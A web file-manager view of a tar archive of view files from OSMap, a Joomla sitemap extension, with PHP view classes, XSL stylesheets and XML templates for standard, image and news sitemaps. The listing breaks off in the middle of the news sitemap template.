File manager - Edit - /home/opticamezl/www/newok/views.tar
Back
adminsitemapitems/view.html.php 0000604 00000005636 15172671417 0012730 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Component\Helper as ComponentHelper; use Alledia\OSMap\Factory; use Alledia\OSMap\Sitemap\SitemapInterface; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView; use Joomla\Input\Input; use Joomla\Registry\Registry; defined('_JEXEC') or die(); class OSMapViewAdminSitemapItems extends HtmlView { /** * @var Registry */ protected $params = null; /** * @var SitemapInterface */ protected $sitemap = null; /** * @var Registry */ protected $osmapParams = null; /** * @var string */ protected $message = null; /** * @inheritDoc * @throws Exception */ public function display($tpl = null) { $this->checkAccess(); $container = Factory::getPimpleContainer(); try { $id = $container->input->getInt('id'); $this->params = Factory::getApplication()->getParams(); // Load the sitemap instance $this->sitemap = Factory::getSitemap($id); $this->osmapParams = ComponentHelper::getParams(); } catch (Exception $e) { $this->message = $e->getMessage(); } parent::display($tpl); } /** * This view should only be available from the backend * * @return void * @throws Exception */ protected function checkAccess() { $server = new Input(array_change_key_case($_SERVER, CASE_LOWER)); $referer = parse_url($server->getString('http_referer')); if (empty($referer['query']) == false) { parse_str($referer['query'], $query); $option = empty($query['option']) ? null : $query['option']; $view = empty($query['view']) ? null : $query['view']; if ($option == 'com_osmap' && $view == 'sitemapitems') { // Good enough return; } } throw new Exception(Text::_('JERROR_PAGE_NOT_FOUND'), 404); } } adminsitemapitems/tmpl/default_items.php 0000604 00000016737 15172671417 0014620 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Version; defined('_JEXEC') or die(); $frequncyOptions = HTMLHelper::_('osmap.frequencyList'); array_walk( $frequncyOptions, function (string &$text, string $value) { $text = HTMLHelper::_('select.option', $value, $text); } ); $priorityOptions = array_map( function (float $priority) { return HTMLHelper::_('select.option', $priority, $priority); }, HTMLHelper::_('osmap.priorityList') ); $showItemUid = $this->osmapParams->get('show_item_uid', 0); $showExternalLinks = (int)$this->osmapParams->get('show_external_links', 0); $items = []; $this->sitemap->traverse( /** * @param object $item * * @return bool */ function (object $item) use (&$items, &$showItemUid, &$showExternalLinks) { if ( ($item->isInternal == false && $showExternalLinks === 0) || $item->hasCompatibleLanguage() == false ) : return false; endif; if ($showExternalLinks === 2) : // Display only in the HTML sitemap $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_IGNORED_EXTERNAL_HTML'); endif; // Add notes about sitemap visibility if ($item->visibleForXML == false) : $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_VISIBLE_HTML_ONLY'); endif; if ($item->visibleForHTML == false) : $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_VISIBLE_XML_ONLY'); endif; if ($item->visibleForRobots == false) : $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_INVISIBLE_FOR_ROBOTS'); endif; if ($item->parentIsVisibleForRobots == false) : $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_PARENT_INVISIBLE_FOR_ROBOTS'); endif; $items[] = $item; return true; }, false, true ); $count = count($items); ?> <table class="adminlist table table-striped" id="itemList"> <thead> <tr> <th style="width: 1%;min-width:55px" class="text-center center"> <?php echo Text::_('COM_OSMAP_HEADING_STATUS'); ?> </th> <th class="title"> <?php echo Text::_('COM_OSMAP_HEADING_URL'); ?> </th> <th class="title"> <?php echo Text::_('COM_OSMAP_HEADING_TITLE'); ?> </th> <th class="text-center center"> <?php echo Text::_('COM_OSMAP_HEADING_PRIORITY'); ?> </th> <th class="text-center center"> <?php echo Text::_('COM_OSMAP_HEADING_CHANGE_FREQ'); ?> </th> </tr> </thead> <tbody> <?php foreach ($items as $row => $item) : ?> <tr class="sitemapitem <?php echo 'row' . $row; ?> <?php echo ($showItemUid) ? 'with-uid' : ''; ?>" data-uid="<?php echo $item->uid; ?>" data-settings-hash="<?php echo $item->settingsHash; ?>"> <td class="text-center center"> <div class="sitemapitem-published" data-original="<?php echo $item->published ? '1' : '0'; ?>" data-value="<?php echo $item->published ? '1' : '0'; ?>"> <?php $class = $item->published ? 'publish' : 'unpublish'; $title = $item->published ? 'COM_OSMAP_TOOLTIP_CLICK_TO_UNPUBLISH' : 'COM_OSMAP_TOOLTIP_CLICK_TO_PUBLISH'; ?> <span title="<?php echo Text::_($title); ?>" class="hasTooltip icon-<?php echo $class; ?>"> </span> </div> <?php if ($notes = $item->getAdminNotesString()) : ?> <span class="icon-warning hasTooltip osmap-info" title="<?php echo $notes; ?>"></span> <?php endif; ?> </td> <td class="sitemapitem-link"> <?php if ($item->level > 0) : ?> <span class="level-mark"><?php echo str_repeat('—', $item->level); ?></span> <?php endif; if ($item->rawLink !== '#' && $item->link !== '#') : if (Version::MAJOR_VERSION < 4) : echo '<span class="icon-new-tab"></span>'; endif; echo HTMLHelper::_( 'link', $item->rawLink, $item->rawLink, [ 'target' => '_blank', 'class' => 'hasTooltip', 'title' => $item->link, ] ); else : echo sprintf('<span>%s</span>', $item->name ?? ''); endif; if ($showItemUid) : echo sprintf( '<br><div class="small osmap-item-uid">%s: %s</div>', Text::_('COM_OSMAP_UID'), $item->uid ); endif; ?> </td> <td class="sitemapitem-name"> <?php echo $item->name ?? ''; ?> </td> <td class="text-center center"> <div class="sitemapitem-priority" data-original="<?php echo $item->priority; ?>" data-value="<?php echo sprintf('%03.1f', $item->priority); ?>"> <?php echo sprintf('%03.1f', $item->priority); ?> </div> </td> <td class="text-center center"> <div class="sitemapitem-changefreq" data-original="<?php echo $item->changefreq; ?>" data-value="<?php echo $item->changefreq; ?>"> <?php echo Text::_('COM_OSMAP_' . strtoupper($item->changefreq)); ?> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> <div><?php echo Text::sprintf('COM_OSMAP_NUMBER_OF_ITEMS_FOUND', $count); ?></div> <?php if (empty($count)) : ?> <div class="alert alert-warning"> <?php echo Text::_('COM_OSMAP_NO_ITEMS'); ?> </div> <?php endif; adminsitemapitems/tmpl/default.php 0000604 00000002367 15172671417 0013411 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Factory; defined('_JEXEC') or die(); Factory::getApplication()->input->set('tmpl', 'component'); if (empty($this->message)) : echo $this->loadTemplate('items'); else : ?> <div class="alert alert-warning"> <?php echo $this->message; ?> </div> <?php endif; jexit(); xsl/view.xsl.php 0000604 00000006440 15172671417 0007655 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Factory; use Alledia\OSMap\Helper\General; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView; // phpcs:disable PSR1.Files.SideEffects defined('_JEXEC') or die(); // phpcs:enable PSR1.Files.SideEffects // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace class OsmapViewXsl extends HtmlView { /** * @var SiteApplication */ protected $app = null; /** * @var string */ protected $pageHeading = null; /** * @var string */ protected $pageTitle = null; /** * @var string */ protected $language = null; /** * @inheritDoc * @throws Exception */ public function __construct($config = []) { parent::__construct($config); $this->app = Factory::getApplication(); } /** * @inheritDoc */ public function display($tpl = null) { $document = $this->app->getDocument(); $this->language = $document->getLanguage(); $menu = $this->app->getMenu()->getActive(); $isOsmap = $menu && $menu->query['option'] == 'com_osmap'; $params = $this->app->getParams(); $type = General::getSitemapTypeFromInput(); $sitemap = Factory::getSitemap($this->app->input->getInt('id'), $type); $title = $params->get('page_title', ''); if ($isOsmap == false) { $title = $sitemap->name ?: $title; } if (empty($title)) { $title = $this->app->get('sitename'); } elseif ($this->app->get('sitename_pagetitles', 0) == 1) { $title = Text::sprintf('JPAGETITLE', $this->app->get('sitename'), $title); } elseif ($this->app->get('sitename_pagetitles', 0) == 2) { $title = Text::sprintf('JPAGETITLE', $title, $this->app->get('sitename')); } $this->pageTitle = $this->escape($title); if ($isOsmap && $params->get('show_page_heading')) { $this->pageHeading = $this->escape($params->get('page_heading') ?: $sitemap->name); } // We're going to cheat Joomla here because some referenced urls MUST remain http/insecure header(sprintf('Content-Type: text/xsl; charset="%s"', $this->_charset)); header('Content-Disposition: inline'); parent::display($tpl); jexit(); } } xsl/tmpl/news.php 0000604 00000010173 15172671417 0010024 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Joomla\CMS\Language\Language; use Joomla\CMS\Language\Text; defined('_JEXEC') or die(); /** * @var OSMapViewXsl $this * @var string $template * @var string $layout * @var string $layoutTemplate * @var Language $lang * @var string $filetofind */ ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:news="http://www.google.com/schemas/sitemap-news/0.9" exclude-result-prefixes="xna"> <xsl:output indent="yes" method="html" omit-xml-declaration="yes"/> <xsl:template match="/"> <html lang="<?php echo $this->language; ?>"> <head> <title><?php echo $this->pageTitle; ?></title> <style> <![CDATA[ body { font-family: tahoma, sans-serif; position: relative; } table { font-size: 11px; width: 100%; } th { background: #9f8Fbf; color: #fff; text-align: left; padding: 4px; } tr:nth-child(even) { background: #eeF8ff; } td { padding: 1px; } .data a { text-decoration: none; } .icon-new-tab { font-size: 10px; margin-left: 4px; color: #b5b5b5; } .count { font-size: 12px; margin-bottom: 10px; } tr.sitemap-url td { background: #e6e3ec; padding: 1px 2px; color: #b3b3b3; } tr.sitemap-url td a.url { color: #b3b3b3; } .image-url td { padding-left: 12px; position: relative; } ]]> </style> </head> <body> <div class="header"> <div class="title"> <?php if ($this->pageHeading) : ?> <h1><?php echo Text::_($this->pageHeading); ?></h1> <?php endif; ?> <div class="count"> <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>: <xsl:value-of select="count(xna:urlset/xna:url)"/> </div> </div> </div> <table class="data"> <thead> <tr> <th><?php echo Text::_('COM_OSMAP_HEADING_URL'); ?></th> <th><?php echo Text::_('COM_OSMAP_HEADING_TITLE'); ?></th> <th><?php echo Text::_('COM_OSMAP_HEADING_PUBLICATION_DATE'); ?></th> </tr> </thead> <tbody> <xsl:for-each select="xna:urlset/xna:url"> <xsl:variable name="sitemapURL"> <xsl:value-of select="xna:loc"/> </xsl:variable> <tr> <td> <a href="{$sitemapURL}" target="_blank" class="url"> <xsl:value-of select="$sitemapURL"/> </a> <span class="icon-new-tab"></span> </td> <td> <xsl:value-of select="news:news/news:title" /> </td> <td> <xsl:value-of select="news:news/news:publication_date" /> </td> </tr> </xsl:for-each> </tbody> </table> </body> </html> </xsl:template> </xsl:stylesheet> xsl/tmpl/images.php 0000604 00000011700 15172671417 0010312 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Joomla\CMS\Language\Language; use Joomla\CMS\Language\Text; defined('_JEXEC') or die(); /** * @var OSMapViewXsl $this * @var string $template * @var string $layout * @var string $layoutTemplate * @var Language $lang * @var string $filetofind */ ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" exclude-result-prefixes="xna"> <xsl:output indent="yes" method="html" omit-xml-declaration="yes"/> <xsl:template match="/"> <html lang="<?php echo $this->language; ?>"> <head> <title><?php echo $this->pageTitle; ?></title> <style> <![CDATA[ body { font-family: tahoma, sans-serif; position: relative; } table { font-size: 11px; width: 100%; } th { background: #9f8Fbf; color: #fff; text-align: left; padding: 4px; } tr:nth-child(even) { background: #eeF8ff; } td { padding: 1px; } .data a { text-decoration: none; } .icon-new-tab { font-size: 10px; margin-left: 4px; color: #b5b5b5; } .count { font-size: 12px; margin-bottom: 10px; } tr.sitemap-url td { background: #e6e3ec; padding: 1px 2px; color: #b3b3b3; } tr.sitemap-url td a.url { color: #b3b3b3; } .image-url td { padding-left: 12px; position: relative; } ]]> </style> </head> <body> <div class="header"> <div class="title"> <?php if ($this->pageHeading) : ?> <h1><?php echo Text::_($this->pageHeading); ?></h1> <?php endif; ?> <div class="count"> <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>: <xsl:value-of select="count(xna:urlset/xna:url)"/> (<xsl:value-of select="count(xna:urlset/xna:url/image:image/image:loc)"/> <?php echo Text::_('COM_OSMAP_IMAGES'); ?>) </div> </div> </div> <table class="data"> <thead> <tr> <th><?php echo Text::_('COM_OSMAP_HEADING_URL'); ?></th> <th><?php echo Text::_('COM_OSMAP_HEADING_TITLE'); ?></th> </tr> </thead> <tbody> <xsl:for-each select="xna:urlset/xna:url"> <xsl:variable name="sitemapURL"> <xsl:value-of select="xna:loc"/> </xsl:variable> <tr class="sitemap-url"> <td> <a href="{$sitemapURL}" target="_blank" class="url"> <xsl:value-of select="$sitemapURL"/> </a> <span class="icon-new-tab"></span> (<xsl:value-of select="count(./image:image/image:loc)"/> <?php echo Text::_('COM_OSMAP_IMAGES'); ?>) </td> <td> <xsl:value-of select="./title"/> </td> </tr> <xsl:for-each select="image:image"> <xsl:variable name="imageURL"><xsl:value-of select="image:loc"/></xsl:variable> <tr class="image-url"> <td> <a href="{$imageURL}" target="_blank" class="image-url"> <xsl:value-of select="$imageURL"/> </a> <span class="icon-new-tab"></span> </td> <td> <xsl:value-of select="image:title"/> </td> </tr> </xsl:for-each> </xsl:for-each> </tbody> </table> </body> </html> </xsl:template> </xsl:stylesheet> xsl/tmpl/standard.php 0000604 00000011133 15172671417 0010645 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Joomla\CMS\Language\Language; use Joomla\CMS\Language\Text; defined('_JEXEC') or die(); /** * @var OSMapViewXsl $this * @var string $template * @var string $layout * @var string $layoutTemplate * @var Language $lang * @var string $filetofind */ ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" exclude-result-prefixes="xna"> <xsl:output indent="yes" method="html" omit-xml-declaration="yes"/> <xsl:template match="/"> <html lang="<?php echo $this->language; ?>"> <head> <title><?php echo $this->pageTitle; ?></title> <style> <![CDATA[ body { font-family: tahoma, sans-serif; position: relative; } table { font-size: 11px; width: 100%; } th { background: #9f8Fbf; color: #fff; text-align: left; padding: 4px; } tr:nth-child(even) { background: #eeF8ff; } td { padding: 1px; } .data a { text-decoration: none; } .icon-new-tab { font-size: 10px; margin-left: 4px; color: #b5b5b5; } .count { font-size: 12px; margin-bottom: 10px; } ]]> </style> </head> <body> <div class="header"> <div class="title"> <?php if ($this->pageHeading) : ?> <h1><?php echo Text::_($this->pageHeading); ?></h1> <?php endif; ?> <div class="count"> <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>: <xsl:value-of select="count(xna:urlset/xna:url)"/> </div> </div> </div> <table class="data"> <thead> <tr> <th><?php echo Text::_('COM_OSMAP_URL'); ?></th> <th><?php echo Text::_('COM_OSMAP_MODIFICATION_DATE'); ?></th> <th><?php echo Text::_('COM_OSMAP_CHANGE_FREQ'); ?></th> <th><?php echo Text::_('COM_OSMAP_PRIORITY_LABEL'); ?></th> </tr> </thead> <tbody> <xsl:for-each select="xna:urlset/xna:url"> <xsl:variable name="sitemapURL"> <xsl:value-of select="xna:loc"/> </xsl:variable> <tr> <td> <a href="{$sitemapURL}" target="_blank"> <xsl:value-of select="$sitemapURL"/> </a> <span class="icon-new-tab"></span> </td> <td> <xsl:value-of select="xna:lastmod"/> </td> <td> <xsl:value-of select="xna:changefreq"/> </td> <td> <xsl:value-of select="xna:priority"/> </td> </tr> </xsl:for-each> </tbody> </table> </body> </html> </xsl:template> </xsl:stylesheet> xml/tmpl/default.xml 0000604 00000003645 15172671417 0010505 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <metadata> <layout title="COM_OSMAP_SITEMAP_XML_VIEW_DEFAULT_TITLE"> <message> <![CDATA[COM_OSMAP_SITEMAP_XML_VIEW_DEFAULT_DESC]]> </message> </layout> <fields name="request"> <fieldset name="request" addfieldpath="/administrator/components/com_osmap/form/fields"> <field name="id" type="osmap.sitemaps" required="true" label="COM_OSMAP_SITEMAP"/> <field name="format" type="hidden" default="xml"/> </fieldset> </fields> <fields name="params"> <fieldset name="basic" label="COM_OSMAP_FIELDSET_SITEMAP_SETTINGS_LABEL"> <field name="add_styling" type="radio" class="btn-group btn-group-yesno" layout="joomla.form.field.radio.switcher" label="COM_OSMAP_OPTION_ADD_STYLING_LABEL" description="COM_OSMAP_OPTION_ADD_STYLING_DESC" default="1"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="debug" type="radio" class="btn-group btn-group-yesno" layout="joomla.form.field.radio.switcher" label="COM_OSMAP_OPTION_DEBUG_LABEL" description="COM_OSMAP_OPTION_DEBUG_DESC" default="0"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="news_publication_name" type="text" label="COM_OSMAP_NEWS_PUBLICATION_NAME_LABEL" description="COM_OSMAP_NEWS_PUBLICATION_NAME_DESC"/> </fieldset> </fields> </metadata> xml/tmpl/default_items.php 0000604 00000002320 15172671417 0011662 0 ustar 00 <?php /** * @package OSMap * @copyright 2007-2014 XMap - Joomla! Vargas. All rights reserved. * @copyright 2016 Open Source Training, LLC. All rights reserved.. * @author Guillermo Vargas <guille@vargas.co.cr> * @author Alledia <support@alledia.com> * @license GNU General Public License version 2 or later; see LICENSE.txt * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <http://www.gnu.org/licenses/>. */ // no direct access defined('_JEXEC') or die('Restricted access'); // Create shortcut to parameters. $params = $this->state->get('params'); // Use the class defined in default_class.php to print the sitemap $this->displayer->printSitemap(); xml/tmpl/default.php 0000604 00000002635 15172671417 0010472 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Joomla\CMS\Language\Language; defined('_JEXEC') or die(); /** * @var OsmapViewXml $this * @var object $template * @var string $layout * @var string $layoutTemplate * @var Language $lang * @var string $filetofind */ echo sprintf('<?xml version="1.0" encoding="%s"?>' . "\n", $this->_charset); if (empty($this->message)) { echo $this->loadTemplate($this->type); } else { echo '<message>' . $this->message . '</message>'; } xml/tmpl/default_images.php 0000604 00000005665 15172671417 0012025 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Sitemap\Item; use Joomla\CMS\Language\Language; use Joomla\Utilities\ArrayHelper; defined('_JEXEC') or die(); /** * @var OSMapViewXml $this * @var string $template * @var string $layout * @var string $layoutTemplate * @var Language $lang * @var string $filetofind */ $ignoreDuplicates = (int)$this->osmapParams->get('ignore_duplicated_uids', 1); $printNodeCallback = function (Item $node) use ($ignoreDuplicates) { $display = !$node->ignore && $node->published && (!$node->duplicate || !$ignoreDuplicates) && $node->visibleForRobots && $node->parentIsVisibleForRobots && $node->visibleForXML && $node->isInternal && trim($node->fullLink) != '' && $node->hasCompatibleLanguage(); if ($display && !empty($node->images)) { echo '<url>'; echo sprintf('<loc><![CDATA[%s]]></loc>', $node->fullLink); foreach ($node->images as $image) { if (!empty($image->src)) { echo '<image:image>'; echo '<image:loc><![CDATA[' . $image->src . ']]></image:loc>'; echo empty($image->title) ? '<image:title/>' : '<image:title><![CDATA[' . $image->title . ']]></image:title>'; if (!empty($image->license)) { echo '<image:license><![CDATA[' . $image->license . ']]></image:license>'; } echo '</image:image>'; } } echo '</url>'; } /* * Return true if there were no images * so any child nodes will get checked */ return $display || empty($node->images); }; echo $this->addStylesheet(); $attributes = [ 'xmlns' => 'http://www.sitemaps.org/schemas/sitemap/0.9', 'xmlns:image' => 'http://www.google.com/schemas/sitemap-image/1.1' ]; echo sprintf('<urlset %s>', ArrayHelper::toString($attributes)); $this->sitemap->traverse($printNodeCallback); echo '</urlset>'; xml/tmpl/default_standard.php 0000604 00000005206 15172671417 0012347 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Helper\General; use Alledia\OSMap\Sitemap\Item; use Joomla\CMS\Language\Language; defined('_JEXEC') or die(); /** * @var OSMapViewXml $this * @var string $template * @var string $layout * @var string $layoutTemplate * @var Language $lang * @var string $filetofind */ $showExternalLinks = (int)$this->osmapParams->get('show_external_links', 0); $ignoreDuplicates = (int)$this->osmapParams->get('ignore_duplicated_uids', 1); $debug = $this->params->get('debug', 0) ? "\n" : ''; $printNodeCallback = function (Item $node) use ($showExternalLinks, $ignoreDuplicates, $debug) { $display = !$node->ignore && $node->published && (!$node->duplicate || !$ignoreDuplicates) && $node->visibleForRobots && $node->parentIsVisibleForRobots && $node->visibleForXML && trim($node->fullLink) != ''; if ($display && !$node->isInternal) { // Show external links $display = $showExternalLinks === 1; } if (!$node->hasCompatibleLanguage()) { $display = false; } if (!$display) { return false; } echo $debug; echo '<url>'; echo '<loc><![CDATA[' . $node->fullLink . ']]></loc>'; if (!General::isEmptyDate($node->modified)) { echo '<lastmod>' . $node->modified . '</lastmod>'; } echo '<changefreq>' . $node->changefreq . '</changefreq>'; echo '<priority>' . $node->priority . '</priority>'; echo '</url>'; echo $debug; return true; }; echo $this->addStylesheet(); echo $debug . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . $debug; $this->sitemap->traverse($printNodeCallback); echo '</urlset>'; xml/tmpl/default_news.php 0000604 00000006307 15172671417 0011526 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Sitemap\Item; use Joomla\CMS\Language\Language; use Joomla\Utilities\ArrayHelper; defined('_JEXEC') or die(); /** * @var OSMapViewXml $this * @var string $template * @var string $layout * @var string $layoutTemplate * @var Language $lang * @var string $filetofind */ $debug = $this->params->get('debug', 0) ? "\n" : ''; $printNodeCallback = function (Item $node) { $display = !$node->ignore && $node->published && (!$node->duplicate || !$this->osmapParams->get('ignore_duplicated_uids', 1)) && isset($node->newsItem) && !empty($node->newsItem) && $node->visibleForRobots && 